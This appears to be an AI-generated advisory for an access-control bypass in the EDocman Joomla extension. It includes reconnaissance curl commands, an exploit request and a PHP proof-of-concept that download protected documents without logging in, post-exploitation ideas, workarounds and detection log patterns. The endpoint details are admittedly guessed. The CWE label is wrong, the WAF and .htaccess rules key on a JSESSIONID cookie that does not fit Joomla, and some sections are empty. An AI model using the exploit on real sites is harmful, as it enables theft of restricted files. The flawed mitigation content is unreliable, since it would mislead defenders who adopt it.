CVE-2026-133351 — Joomdonation.com EDocman Extension For Joomla (1 — CWE-807
Joomla Extension - joomdonation.com - Access control bypass in document download in EDocman < 4.2 - A user-supplied request parameter intended for the document viewer bypassed all access checks of the download task, allowing unauthenticated users to download restricted documents.
Joomla Extension - joomdonation.com - Access control bypass in document download in EDocman < 4.2 - A user-supplied request parameter intended for the document viewer bypassed all access checks of the download task, allowing unauthenticated users to download restricted documents.
🎯 What is this vulnerability?
CVE‑2026‑133351 is an access‑control bypass in the EDocman extension for Joomla (versions 1.0‑4.1).
The flaw lies in the download task of the component. A user‑supplied request parameter (the document identifier) is accepted by the download handler without performing the same authorization checks that the viewer task performs. Consequently, any HTTP request that supplies a valid document ID will trigger the download of that file, regardless of the requester’s authentication status or group membership.
- CWE‑807 – Access Control: Missing Authorization
- CVSS‑4.0 vector:
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Network attack vector, Low complexity, No authentication, No user interaction, High confidentiality impact.
The missing check is a classic “missing authorization” bug: the code path that serves the file does not verify that the current user has permission to view the document. The viewer task correctly checks the user’s group membership or ACL, but the download task bypasses that logic entirely.
⚡ Attack Chain
NOTE: The exact URI and parameter names are not disclosed in the CVE description. The following example uses the most common pattern observed in EDocman installations and is intended to illustrate the exploitation class.
1. Discovery & Reconnaissance
| Step | Technique | What you look for | |
|---|---|---|---|
| a. Identify Joomla | curl -I https://target.com | Look for X-Generator: Joomla! header or index.php?option=com_* patterns. | |
| b. Detect EDocman | curl -I https://target.com/components/com_edocman/ | A 200 response indicates the component is present. | |
| c. Version detection | curl -s https://target.com/components/com_edocman/edocman.php | grep -i "version" | The file often contains a define('EDOCMAN_VERSION', '4.1.3'); line. |
| d. Verify vulnerability window | Confirm the version is < 4.2. | If true, the site is vulnerable. |
2. Exploitation
Illustrative request
curl -v "https://target.com/index.php?option=com_edocman&task=download&docid=12345" \
-o /tmp/secret.pdfoption=com_edocman – selects the component. task=download – triggers the download handler. docid=12345 – the numeric ID of the protected document. Because the download task does not perform an ACL check, the server will stream secret.pdf (or whatever file is mapped to docid=12345) directly to the client, even if the requester is not logged in.
Automated PoC (PHP)
<?php
$target = 'https://target.com';
$docid = 12345; // Replace with a known ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$target/index.php?option=com_edocman&task=download&docid=$docid");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$payload = curl_exec($ch);
curl_close($ch);
file_put_contents('downloaded_file', $payload);
echo "File saved as downloaded_file\n";
?>Important: The above script will only succeed if the document ID is valid and the server is running a vulnerable EDocman version.
3. Post‑Exploitation
1. Data exfiltration – The attacker now has any document that the site’s ACLs protect (e.g., internal reports, contracts, credentials).
2. Reconnaissance – The content may reveal internal network topology, usernames, or other sensitive information that can be leveraged for later attacks (phishing, credential stuffing, lateral movement).
3. Persistence – The attacker can upload malicious documents (e.g., PDFs with embedded macros) to the same component, hoping that an authenticated user will open them, potentially leading to a client‑side compromise.
4. Privilege escalation – While the vulnerability itself does not grant higher privileges, the stolen documents may contain privileged credentials that can be used to log in as an administrator or to compromise other systems.
🌍 Real World Impact
| Impact | CVSS Component | Explanation |
|---|---|---|
| Confidentiality | VC:H | Unauthenticated users can read any protected document. |
| Integrity | VI:N | No modification of data. |
| Availability | VA:N | No denial‑of‑service effect. |
| Scope | SC:N | The vulnerability does not affect other components. |
| Privileges Required | PR:N | None. |
| User Interaction | UI:N | None. |
| Attack Complexity | AC:L | Low; a single HTTP request. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed |
|---|---|
| EDocman 1.0 – 4.1 | 4.2 (or later) |
Recommendation: Immediately upgrade to EDocman 4.2 or newer. The patch re‑introduces the missing ACL check in the download task.
2. Workarounds (if upgrade is not immediately possible)
| Approach | Implementation | ||
|---|---|---|---|
| Restrict the download endpoint | Add a .htaccess rule or a Joomla menu restriction that blocks unauthenticated access to index.php?option=com_edocman&task=download. Example: | ||
``apacheconf<br>RewriteEngine On<br>RewriteCond %{REQUEST_URI} ^/index\.php$ [NC]<br>RewriteCond %{QUERY_STRING} (^ | &)task=download(& | $) [NC]<br>RewriteCond %{HTTP_COOKIE} !^.*JSESSIONID=.*$ [NC]<br>RewriteRule ^ - [F,L]<br>` | |
| WAF / ModSecurity rule | `modsecurity<br>SecRule REQUEST_URI "@beginsWith /index.php" "chain,phase:2,block,msg:'EDocman download bypass'"<br>SecRule QUERY_STRING "@rx task=download" "chain"<br>SecRule REQUEST_HEADERS:Cookie "!@rx JSESSIONID" "t:none,phase:2,block,msg:'Unauthenticated download attempt'"<br>`` | ||
| Disable the component | If the site does not need EDocman, uninstall or disable the component via the Joomla admin backend. |
Note: The above rules are illustrative. Adjust cookie names (JSESSIONID,Joomla, etc.) to match your environment.
3. Detection
| Log Pattern | Indicator |
|---|---|
GET /index.php?option=com_edocman&task=download&docid= | Unauthenticated download attempts. |
200 OK with large Content-Length | Successful file download. |
| Repeated requests from the same IP | Potential automated data exfiltration. |
Sample Apache log entry
192.0.2.45 - - [02/Dec/2026:14:23:12 +0000] "GET /index.php?option=com_edocman&task=download&docid=987 HTTP/1.1" 200 1048576 "-" "Mozilla/5.0 (compatible; EDocmanScanner/1.0)"Sample Nginx log entry
192.0.2.45 - - [02/Dec/2026:14:23:12 +0000] "GET /index.php?option=com_edocman&task=download&docid=987 HTTP/1.1" 200 1048576 "-" "EvilScanner/1.0"SIEM alert example
Alert: Unauthenticated EDocman download detected
Source IP: 192.0.2.45
Document ID: 987⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query